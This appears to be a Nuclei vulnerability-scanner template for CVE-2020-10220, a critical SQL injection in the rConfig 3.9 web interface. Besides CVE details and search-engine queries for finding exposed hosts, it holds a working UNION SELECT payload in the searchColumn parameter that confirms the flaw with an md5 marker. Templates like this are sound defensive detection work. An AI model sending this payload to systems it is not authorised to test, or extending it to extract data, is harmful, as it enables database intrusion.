rConfig 3.9 - SQL Injection

id: CVE-2020-10220

info:
  name: rConfig 3.9 - SQL Injection
  author: ritikchaddha,theamanrawat
  severity: critical
  description: |
    An issue was discovered in rConfig through 3.9.4. The web interface is prone to a SQL injection via the commands.inc.php searchColumn parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Upgrade to a patched version of rConfig or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/156950/rConfig-3.9.4-searchField-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10220
    - http://packetstormsecurity.com/files/156688/rConfig-3.9-SQL-Injection.html
    - http://packetstormsecurity.com/files/156766/Rconfig-3.x-Chained-Remote-Code-Execution.html
    - https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10220
    cwe-id: CWE-89
    epss-score: 0.99697
    epss-percentile: 0.99952
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rconfig
    product: rconfig
    shodan-query:
      - title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,packetstorm,rconfig,sqli,vuln,vkev
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('{{num}}'),0x5B50574E5D3C42523E)%20limit%200,1),NULL--"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

      - type: status
        status:
          - 200